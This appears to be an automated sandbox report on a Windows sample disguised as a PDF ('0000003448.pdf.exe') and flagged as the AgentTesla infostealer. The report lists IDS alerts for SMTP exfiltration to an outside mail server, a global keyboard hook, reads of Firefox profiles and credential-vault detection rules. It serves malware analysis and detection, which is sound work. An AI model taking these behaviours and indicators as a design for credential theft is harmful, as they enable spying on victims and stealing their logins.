Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49725 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49725 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49726 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49726 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49727 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49727 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49728 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49728 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49729 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49729 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49730 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49730 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49731 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49731 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49732 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49732 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49733 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49733 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49734 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49734 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49735 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49735 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49736 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49736 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49738 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49738 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49739 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49739 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49742 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49742 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49743 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49743 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49745 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49745 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.7:49747 -> 185.5.126.24:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49747 -> 185.5.126.24:587

Source: global traffic

TCP traffic: 192.168.2.7:49705 -> 185.5.126.24:587

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: EAMES EAMES

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.7:49705 -> 185.5.126.24:587

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.drconstrucciones.es

Source: RegAsm.exe, 0000000A.00000002.3722883253.0000000003602000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003296000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003461000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000031FA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003332000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003411000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003578000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000035BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drconstrucciones.es
Source: RegAsm.exe, 0000000A.00000002.3722883253.0000000003602000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003296000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003461000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000031FA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003332000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003411000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003578000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000035BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.drconstrucciones.es
Source: RegAsm.exe, 0000000A.00000002.3722883253.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: 0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: 0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org

Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49703 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, R1W.cs	.Net Code: E9B3OxX
Source: 0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack, R1W.cs	.Net Code: E9B3OxX

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.0000003448.pdf.exe.2475ead5740.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.0000003448.pdf.exe.2475eb2b178.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: 0000003448.pdf.exe

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD5D25	0_2_00007FFAACCD5D25
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACD01658	0_2_00007FFAACD01658
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCE3FF0	0_2_00007FFAACCE3FF0
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD50C0	0_2_00007FFAACCD50C0
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD0AEE	0_2_00007FFAACCD0AEE
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD5CA8	0_2_00007FFAACCD5CA8
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD04FA	0_2_00007FFAACCD04FA
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD05D3	0_2_00007FFAACCD05D3
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACD00F10	0_2_00007FFAACD00F10
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD0465	0_2_00007FFAACCD0465
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD0BD3	0_2_00007FFAACCD0BD3
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACDF04AB	0_2_00007FFAACDF04AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_056141C8	10_2_056141C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0561E1D9	10_2_0561E1D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_05613E80	10_2_05613E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0561A960	10_2_0561A960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_05614A98	10_2_05614A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C066B0	10_2_06C066B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C07E50	10_2_06C07E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C05668	10_2_06C05668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C03118	10_2_06C03118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C07770	10_2_06C07770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C00040	10_2_06C00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C0E478	10_2_06C0E478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C02410	10_2_06C02410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C05D9B	10_2_06C05D9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_06C00007	10_2_06C00007

Source: C:\Users\user\Desktop\0000003448.pdf.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2520 -s 1084

Source: 0000003448.pdf.exe

Static PE information: No import functions for PE file found

Source: 0000003448.pdf.exe, 00000000.00000000.1244210139.000002474CD72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNativeMethods.dll" vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe, 00000000.00000002.1487290474.000002474D0C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNativeMethods.dll" vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EBDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNativeMethods.dll" vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe, 00000000.00000000.1244223621.000002474CD7E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAzujowaropukogazofuh6 vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefb5160c7-c82a-4593-83b6-8d87adab567d.exe4 vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEbivaxuvavenirucasip8 vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNativeMethods.dll" vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAzujowaropukogazofuh6 vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe	Binary or memory string: OriginalFilenameNativeMethods.dll" vs 0000003448.pdf.exe
Source: 0000003448.pdf.exe	Binary or memory string: OriginalFilenameAzujowaropukogazofuh6 vs 0000003448.pdf.exe

Source: 0.2.0000003448.pdf.exe.2475ead5740.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.0000003448.pdf.exe.2475eb2b178.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0000003448.pdf.exe, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, KLhJmaON.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, KLhJmaON.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, 9HIFdl.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, 9HIFdl.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF04000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@4/5@2/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2520

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\2fccbd3d-639d-4517-95df-8b7e75018e76

Jump to behavior

Source: 0000003448.pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0000003448.pdf.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 0000000A.00000002.3734597709.0000000006432000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: select * from Win32_OperatingSystem);

Source: 0000003448.pdf.exe	ReversingLabs: Detection: 60%
Source: 0000003448.pdf.exe	Virustotal: Detection: 67%

Source: C:\Users\user\Desktop\0000003448.pdf.exe

File read: C:\Users\user\Desktop\0000003448.pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0000003448.pdf.exe "C:\Users\user\Desktop\0000003448.pdf.exe"
